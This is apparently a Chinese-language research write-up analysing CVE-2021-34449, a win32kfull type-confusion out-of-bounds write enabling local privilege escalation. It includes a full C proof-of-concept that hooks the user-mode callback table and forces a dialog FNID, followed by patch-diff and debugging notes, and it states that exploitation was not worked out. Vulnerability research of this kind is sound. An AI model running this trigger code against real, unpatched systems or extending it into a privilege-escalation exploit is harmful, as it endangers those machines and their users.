一、漏洞信息
1. 漏洞简述
win32kfull中一个类型混淆引发的越界写
- 漏洞编号:CVE-2021-34449
- 漏洞类型:越界写
- 漏洞影响:本地提权
2. 组件概述
win32k 是一个负责管理窗口管理器(User)和图形设备接口(GDI)的内核模式驱动程序。
3. 漏洞利用
没有分析到利用的部分。
4. 漏洞影响
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449
5. 解决方案
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449
二、漏洞复现
1. 环境搭建
win10 1909 64位,更新到修复漏洞前一个版本
2. poc执行流程
完整poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| #include <stdio.h> #include <windows.h>
HWND g_hWnd = NULL; HMODULE hWin32u = GetModuleHandleA("win32u.dll"); typedef ULONG_PTR(__fastcall* fnNtUserConsoleControl)(ULONG_PTR, PVOID, ULONG_PTR); typedef ULONG_PTR(__fastcall* fnNtUserSetWindowFNID)(HWND, ULONG_PTR); typedef BOOL(APIENTRY* NtUserCallHwndParamPtr)(HWND hWnd, DWORD value, DWORD func); NtUserCallHwndParamPtr NtUserCallHwndParam = NULL; fnNtUserConsoleControl pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl");
fnNtUserSetWindowFNID pfnNtUserSetWindowFNID = (fnNtUserSetWindowFNID)GetProcAddress(hWin32u, "NtUserSetWindowFNID");
#define CallSetDialogPointer 0x65
VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) { ULONG64 ulArr[0x20] = { 0 }; ulArr[0] = (ULONG64)g_hWnd; if ((*(HWND*)*(HWND*)MSG) == g_hWnd) { puts("qaq"); NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer); }
}
VOID fnDWORDHook(PMSG MSG) {
;
}
VOID Hook_Func(VOID) {
DWORD OldProtect = 0;
BYTE* _teb = (BYTE*)__readgsqword(0x30); PVOID* _peb = *(PVOID**)(_teb + 0x60);
PULONG64 CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);
VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);
*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;
VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);
}
int main(int argc, char* argv[]) {
WNDCLASS wc = { 0 }; wc.cbWndExtra = 0x30; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = (LPCWSTR)0xc01f;
RegisterClass(&wc);
NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");
g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);
SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);
Hook_Func();
pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);
DestroyWindow(g_hWnd);
return 0; }
|
注册窗口类,额外内存大小为0x30
1 2 3 4 5 6
| WNDCLASS wc = { 0 }; wc.cbWndExtra = 0x30; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = (LPCWSTR)0xc01f;
RegisterClass(&wc);
|
获取win32u!NtUserCallHwndParam
函数地址
1
| NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");
|
创建窗口,将窗口句柄用SetWindowLongA
函数写到额外内存中
1 2 3
| g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);
SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);
|
hook 回调函数表,xxxClientFreeWindowClassExtraBytesHook
函数通过调用NtUserCallHwndParam
用对应的调用号来调用SetDialogPointer
函数,fnDWORD
函数则被替换成空函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #define CallSetDialogPointer 0x65
VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) { ULONG64 ulArr[0x20] = { 0 }; ulArr[0] = (ULONG64)g_hWnd; if ((*(HWND*)*(HWND*)MSG) == g_hWnd) { puts("qaq"); NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer); }
}
VOID fnDWORDHook(PMSG MSG) {
;
}
VOID Hook_Func(VOID) {
DWORD OldProtect = 0;
BYTE* _teb = (BYTE*)__readgsqword(0x30); PVOID* _peb = *(PVOID**)(_teb + 0x60);
PULONG64 CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);
VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);
*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;
*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;
VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);
}
|
设置窗口对象的的 FNID 值为 0x2a4(dialog),该值标识了窗口的状态和类型,这里强行设置了该标识导致类型混淆,之后销毁窗口,触发hook掉的xxxClientFreeWindowClassExtraBytesHook
函数从而调用SetDialogPointer
函数触发漏洞
1 2 3
| pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);
DestroyWindow(g_hWnd);
|
三、漏洞分析
1. 基本信息
2. 背景知识
tagWND 有个 FNID 字段标识了窗口的类型和状态,还有个额外内存空间。
3. 详细分析
1. 基础分析
poc 所描述的问题是“pwnd”变量已传递给 SetDialogPointer 函数,并且不安全地转换为 PDIALOG,但没有正确的结构。 然后写入 pdlg 成员,越界写入 8 个字节,但我觉得不大对劲,虽然存在类型混淆没有正确结构的问题,但这里因为对齐的原因,pdlg 处分配的内存是比需要的要多 8 字节的,所以不存在越界,暂且当作越界了分析,若有师傅知道问题所在还望指点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| BOOL SetDialogPointer( PWND pwnd, LONG_PTR lPtr) { PDIALOG pdialog; ... pdialog = UNSAFE_CAST_FNID_ZERO(PDIALOG)(pwnd); if (pdialog) { __try { pdialog->pdlg = (PDLG)lPtr; }__except (W32ExceptionHandler(FALSE, RIP_WARNING)) { } ... }
|
2. 静态分析
1. 函数调用链
带额外内存的窗口创建:
设置 FNID:
NtUserSetWindowFNID -> win32u!NtUserSetWindowFNID -> win32kfull!NtUserSetWindowFNID
触发:
DestroyWindow -> USER32!NtUserDestroyWindow -> win32kfull!NtUserDestroyWindow
调用 hook 的回调函数xxxClientFreeWindowClassExtraBytesHook
-> win32u!NtUserCallHwndParam -> win32kfull!NtUserCallHwndParam -> win32kfull!SetDialogPointer
2. 补丁Diff
补丁在NtUserSetWindowFNID
中加入了新的对额外内存的检查,来阻止不合法地修改 FNID 的行为:
新版补丁中该补丁位置如下
2. 漏洞函数分析
win32kfull!NtUserSetWindowFNID 函数检查不完善
该函数经过一些检查后将 tagWND 的 FNID 设置成传入的参数,但其检查并不严格,没有检查额外内存,下图中该偏移处即为 FNID。
win32kfull!SetDialogPointer 函数触发越界写
该函数把 tagWND 不安全地转换成 PDIALOG,却没有 dialog 的结构,之后把传入参数 a2 写入到 dialog+8 的位置,造成越界。
该转换函数检查了传入指针是否为空,FNID 是否为 dialog,最后返回 *(tagWND+0x118),经调试得知该处字段只有8字节,值与额外内存的前8字节相同,这个结构有什么意义不清楚。
3. 动态分析
unsafe_cast_fnid_zero_to_PDIALOG
转换出的指针指向地址的值是这个
这里该值是窗口的句柄,经调试得知该值其实是 poc 中
1
| SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);
|
设置的,将句柄写入额外内存,4字节,偏移为0,将偏移改为4,值改为0xaaaaaaaa后此处的值也随之改变。
但再增加偏移位数该值就不会写入到该位置
得知该处字段大小为8字节,值为额外内存的前8字节的值。
故unsafe_cast_fnid_zero_to_PDIALOG
函数返回一个PDIALOG指向此处,并按照dialog的结构写入数据到+0x8处,发生越界写,而且写入的值是作为参数传入,是可控的。
但是该越界写覆盖的是什么数据我不清楚。
另外fnDWORD
回调函数会影响可控参数的传入,所以要将其 hook 为空函数,其中缘由我也没有分析清楚。
四、缓解措施
更新了补丁之后发现传入参数正常却无法正确写入,往上回溯发现是 FNID 没有正常设置,跟进到win32kfull!NtUserSetWindowFNID
中发现被这个检查拦住了
ida 静态查看就是前面静态分析图中的部分,对比补丁之前发现这里是多出来的,看函数名猜测是对额外内存相关检测,手动写入FNID 后续过程可以正常执行,于是确定这里是新加的针对此漏洞的补丁。
五、参考文献
网上各种与之沾边的文献